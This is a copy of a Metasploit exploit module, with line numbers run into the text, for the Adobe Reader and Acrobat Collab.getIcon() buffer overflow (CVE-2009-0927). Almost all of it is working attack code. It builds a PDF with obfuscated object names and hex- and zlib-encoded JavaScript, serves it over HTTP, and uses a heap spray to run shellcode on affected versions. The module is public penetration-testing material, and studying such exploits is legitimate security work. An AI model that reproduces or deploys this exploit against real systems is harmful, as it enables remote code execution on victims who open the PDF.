Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_geticon.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe Collab.getIcon() Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.17Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially18crafted pdf that a contains malformed Collab.getIcon() call, an attacker may19be able to execute arbitrary code.20},21'License' => MSF_LICENSE,22'Author' =>23[24'MC',25'Didier Stevens <didier.stevens[at]gmail.com>',26'jduck'27],28'References' =>29[30[ 'CVE', '2009-0927' ],31[ 'OSVDB', '53647' ],32[ 'ZDI', '09-014' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']34],35'DefaultOptions' =>36{37'EXITFUNC' => 'process',38},39'Payload' =>40{41'Space' => 1024,42'BadChars' => "\x00",43},44'Platform' => 'win',45'Targets' =>46[47# test results (on Windows XP SP3)48# reader 7.0.5 - no trigger49# reader 7.0.8 - no trigger50# reader 7.0.9 - no trigger51# reader 7.1.0 - no trigger52# reader 7.1.1 - reported not vulnerable53# reader 8.0.0 - works54# reader 8.1.2 - works55# reader 8.1.3 - reported not vulnerable56# reader 9.0.0 - works57# reader 9.1.0 - reported not vulnerable58[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],59],60'DisclosureDate' => '2009-03-24',61'DefaultTarget' => 0))62end6364def autofilter65false66end6768def check_dependencies69use_zlib70end7172def on_request_uri(cli, request)73return if ((p = regenerate_payload(cli)) == nil)74# Encode the shellcode.75shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))7677# Make some nops78nops = Rex::Text.to_unescape(make_nops(4))7980# Randomize variables81rand1 = rand_text_alpha(rand(100) + 1)82rand2 = rand_text_alpha(rand(100) + 1)83rand3 = rand_text_alpha(rand(100) + 1)84rand4 = rand_text_alpha(rand(100) + 1)85rand5 = rand_text_alpha(rand(100) + 1)86rand6 = rand_text_alpha(rand(100) + 1)87rand7 = rand_text_alpha(rand(100) + 1)88rand8 = rand_text_alpha(rand(100) + 1)89rand9 = rand_text_alpha(rand(100) + 1)90rand10 = rand_text_alpha(rand(100) + 1)91rand11 = rand_text_alpha(rand(100) + 1)92rand12 = rand_text_alpha(rand(100) + 1)93randnop = rand_text_alpha(rand(100) + 1)9495script = %Q|96var #{rand1} = unescape("#{shellcode}");97var #{rand2} ="";98var #{randnop} = "#{nops}";99for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{randnop}");100#{rand4} = #{rand2} + #{rand1};101#{rand5} = unescape(#{randnop});102#{rand6} = 20;103#{rand7} = #{rand6}+#{rand4}.length104while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};105#{rand8} = #{rand5}.substring(0, #{rand7});106#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});107while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};108#{rand10} = new Array();109for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};110var #{rand12} = unescape("%0a");111while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};112#{rand12} = "N."+#{rand12};113Collab.getIcon(#{rand12});114|115116# Create the pdf117pdf = make_pdf(script)118119print_status("Sending #{self.name}")120121send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })122123handler(cli)124end125126def random_non_ascii_string(count)127result = ""128count.times do129result << (rand(128) + 128).chr130end131result132end133134def io_def(id)135"%d 0 obj" % id136end137138def io_ref(id)139"%d 0 R" % id140end141142#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/143def n_obfu(str)144result = ""145str.scan(/./u) do |c|146if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'147result << "#%x" % c.unpack("C*")[0]148else149result << c150end151end152result153end154155def ascii_hex_whitespace_encode(str)156result = ""157whitespace = ""158str.each_byte do |b|159result << whitespace << "%02x" % b160whitespace = " " * (rand(3) + 1)161end162result << ">"163end164165def make_pdf(js)166167xref = []168eol = "\x0d\x0a"169endobj = "endobj" << eol170171pdf = "%PDF-1.5" << eol172pdf << "%" << random_non_ascii_string(4) << eol173xref << pdf.length174pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj175xref << pdf.length176pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj177xref << pdf.length178pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj179xref << pdf.length180pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj181xref << pdf.length182pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj183xref << pdf.length184compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))185pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol186pdf << "stream" << eol187pdf << compressed << eol188pdf << "endstream" << eol189pdf << endobj190xrefPosition = pdf.length191pdf << "xref" << eol192pdf << "0 %d" % (xref.length + 1) << eol193pdf << "0000000000 65535 f" << eol194xref.each do |index|195pdf << "%010d 00000 n" % index << eol196end197pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol198pdf << "startxref" << eol199pdf << xrefPosition.to_s() << eol200pdf << "%%EOF" << eol201202end203end204205206